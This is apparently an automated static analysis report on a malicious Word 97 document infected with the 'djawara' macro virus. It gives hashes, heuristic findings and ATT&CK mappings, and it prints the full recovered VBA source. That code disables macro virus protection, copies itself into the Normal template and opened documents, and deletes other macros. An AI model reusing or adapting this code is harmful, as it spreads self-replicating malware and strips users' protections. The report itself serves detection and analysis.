Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 309dab13c6eed751…

MALICIOUS

Office (OLE)

96.0 KB Created: 2001-07-02 13:17:00 Authoring application: Microsoft Word 8.0 First seen: 2012-10-10
MD5: bd32c8499e14c51c7cae061abce2e7fa SHA-1: 2fb4c0aa4342e829081a446e3ff9ac90bef6fe78 SHA-256: 309dab13c6eed7516324fd8e9610d7cd6cf08e9ded3c4e0e800e0377c283af08
278 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macro virus markers and a VBA AutoOpen macro, indicating malicious intent. The 'djawara' VBA macro includes a function 'ToolsMacro' that displays a fake error message to the user, likely as a distraction or to mask malicious activity. The presence of appended payload bytes and a high slack space anomaly further suggests the file is designed to deliver and execute additional malicious code.

Heuristics 8

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 98,304 bytes but its declared streams total only 23,188 bytes — 75,116 bytes (76%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • OLE file has appended executable-looking payload bytes high OLE_APPENDED_PAYLOAD
    OLE compound file contains a large high-entropy region beyond the declared major streams and that region includes shellcode, PE, or loader API markers. This is a payload-carrier signal, not a specific CVE attribution by itself.
  • Recovered VBA macro source from orphaned project info OLE_ORPHANED_VBA_MACRO_SOURCE
    oletools recovered no VBA project, but VBA source-cache records (module names, API calls, dropped paths and literal source lines) survive in unallocated OLE space — a stripped or corrupted VBA project, typical of legacy Word 97 macro viruses. The macro source was recovered and carved for review and signature scanning.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
vba_orphaned_source.txt vba-orphaned-source analyzer.wordbasic.recover_length_prefixed_source (VBA source-cache records recovered from a stripped/orphaned project in unallocated OLE space) 351 bytes
SHA-256: c0a9d6204e4f2b70103eb6a489306f97ceecee6006922dfea4f1afe2ae466053
Preview script
First 1,000 lines of the extracted script
Normal
ThisDocument
Module1
djawara
FormSingkat
C:\PROGRAM FILES\COMMON FILES\MICROSOFT SHARED\VBA\VBA332.DLL
VBA
C:\Program Files\Microsoft Office 97\Office\MSWORD8.OLB
Word
C:\WINDOWS\SYSTEM\stdole2.tlb
stdole
C:\WINDOWS\SYSTEM\MSForms.TWD
MSForms
C:\WINDOWS\TEMP\VBE\MSForms.EXD
C:\PROGRAM FILES\MICROSOFT OFFICE 97\OFFICE\MSO97.DLL
Office
Document
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6522 bytes
SHA-256: 28f1651fc54a4dfb9e680f338e0a1370207b7fb1c96a59d315e90060973cd1d8
Detection
ClamAV: Doc.Trojan.Bablas-9
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "djawara"
' djwara macros ... this my first macros
' thank to my company office for editing this garbage
' see you in my next macros project
' may be i will call it bye windows .... :)
Sub header()
Application.ActiveDocument.
End Sub
Sub Lewat()
    Options.SaveNormalPrompt = False
    Options.VirusProtection = False
    Options.SavePropertiesPrompt = False
End Sub
Sub ToolsMacro()
    H = MsgBox("Error Loading Failed.Sys, Please Read Manual.hlp", vbExclamation + vbOKOnly)
End Sub
Sub ViewVbCode()
    If InputBox("Enter Lewatword", "djawara") = "tempe" Then Application.ShowVisualBasicEditor = True
End Sub
Sub FileTemplates()
    ToolsMacro
End Sub
Sub HelpAbout()
    FormSingkat.Show
End Sub
Sub GantiTitle()
    On Error Resume Next
    Application.Caption = "djawara in Action"
    ActiveWindow.Caption = "..."
End Sub
Sub ToolsOptions()
    Options.SaveNormalPrompt = True
    Options.SavePropertiesPrompt = True
    Options.VirusProtection = True
    Dialogs(wdDialogToolsOptions).Show
    Lewat
End Sub
Sub BalikinTitle()
    On Error Resume Next
    Application.Caption = "Microsoft Word"
    ActiveWindow.Caption = ActiveDocument.Name
End Sub
Sub PrayerTime()
    H = Time
    Select Case Time
     Case "04:30:00" To "04:40:00" 'shubuh
       H = MsgBox("Sholat Shubuh dahulu .... nanti terusin lagi", vbOKOnly + vbExclamation, "[djawara auto warning]")
     Case "11:50:00" To "12:00:00" 'dhuhur
       H = MsgBox("Sholat dhuhur dahulu .... nanti terusin lagi", vbOKOnly + vbExclamation, "[djawara auto warning]")
     Case "15:20:00" To "15:30:00" 'ashar
       H = MsgBox("Sholat ashar dahulu .... nanti terusin lagi", vbOKOnly + vbExclamation, "[djawara auto warning]")
     Case "17:50:00" To "18:00:00" 'magrib
       H = MsgBox("Sholat maghrib dahulu .... nanti terusin lagi", vbOKOnly + vbExclamation, "[djawara auto warning]")
     Case "18:40:00" To "19:00:00" 'isya
       H = MsgBox("Sholat isya' dahulu .... nanti terusin lagi", vbOKOnly + vbExclamation, "[djawara auto warning]")
    End Select
End Sub
Sub OpenMyMacro()
    If InputBox("Enter Lewatword", "djawara") = "tempe" Then Application.ShowVisualBasicEditor = True
End Sub
Sub OverRideTemplate()
    Dim NorOk As Boolean
    NorOk = False
    For Each Obj In NormalTemplate.VBProject.VBComponents
        If Obj.Name = "djawara" Then NorOk = True
        If Obj.Name <> "djawara" And Obj.Name <> "FormSingkat" And Obj.Name <> "ThisDocument" Then
            Application.StatusBar = "Deleting " + Obj.Name + _
            " Your Clean File Template,... Please Wait"
            Application.OrganizerDelete Source:=NormalTemplate.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If NorOk = False Then
        Application.StatusBar = "Copying djawara From " + ActiveDocument.Name + _
        " to Normal Template,... Please Wait"
        Application.OrganizerCopy Source:=ActiveDocument.FullName, _
        Destination:=NormalTemplate.FullName, Name:="djawara", Object:=wdOrganizerObjectProjectItems
        Application.OrganizerCopy Source:=ActiveDocument.FullName, _
        Destination:=NormalTemplate.FullName, Name:="FormSingkat", Object:=wdOrganizerObjectProjectItems
        Application.DisplayRecentFiles = False
        Application.DisplayRecentFiles = True
    End If
End Sub
Sub OverRideDocument()
    Dim DocOk As Boolean
    
    
    DocOk = False
        For Each Obj In ActiveDocument.VBProject.VBComponents
        If Obj.Name = "djawara" Then DocOk = True
        If Obj.Name <> "djawara" And Obj.Name <> "FormSingkat" And Obj.Name <> "ThisDocument" Then
            Application.StatusBar = "Deleting " + Obj.Name + _
            " Macro in " + ActiveDocument.Name + "..."
            Application.OrganizerDelete Source:=ActiveDocument.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If DocOk = False Then
        Application.StatusBar = "djawara Make Some Replicate Prosedure " _
        + ActiveDocument.Name + "... Please Wait"
        Application.OrganizerCopy Source:=NormalTemplate.FullName, _
        Destination:=ActiveDocument, Name:="djawara", Object:=wdOrganizerObjectProjectItems
        Application.OrganizerCopy Source:=NormalTemplate.FullName, _
        Destination:=ActiveDocument, Name:="FormSingkat", Object:=wdOrganizerObjectProjectItems
    End If
End Sub
Sub AutoExit()
    Application.Quit
End Sub
Sub FileOpen()
    GantiTitle
    WordBasic.DisableAutoMacros True
    On Error Resume Next
    If Dialogs(wdDialogFileOpen).Show <> 0 Then
        OverRideDocument
        ActiveDocument.Save
    End If
    BalikinTitle
    WordBasic.DisableAutoMacros False
End Sub
Sub AutoOpen()
    Lewat
    GantiTitle
    OverRideTemplate
    On Error Resume Next
    NormalTemplate.Save
    BalikinTitle
End Sub
Sub AutoClose()
    OverRideDocument
End Sub
Sub FileClose()
    AutoClose
End Sub
Sub FileSave()
    If ActiveDocument.Saved = False Then
        OverRideDocument
        OverRideTemplate
        On Error Resume Next
        ActiveDocument.Save
        ActiveDocument.Saved = True
    End If
End Sub
Sub Destroy()
    C = Documents.Count
    If C <> 0 Then
        Normal.djawara.OverRideDocument
        WordBasic.DisableAutoMacros False
        On Error Resume Next
        If ActiveDocument.Name <> "Document1" Then ActiveDocument.Save
    Else: Application.OnTime Now + TimeValue("00:00:07"), "Normal.djawara.Destroy"
    End If
End Sub
Sub AutoExec()
    WordBasic.DisableAutoMacros True
    Lewat
    Application.OnTime Now + TimeValue("00:00:07"), "Normal.djawara.Destroy"
End Sub

Attribute VB_Name = "FormSingkat"
Attribute VB_Base = "0{5BB0EADC-6EFD-11D5-8830-0020AFF11EF0}{5BB0EAD3-6EFD-11D5-8830-0020AFF11EF0}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

































Private Sub CommandButton1_Click()
 FormSingkat.Hide
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.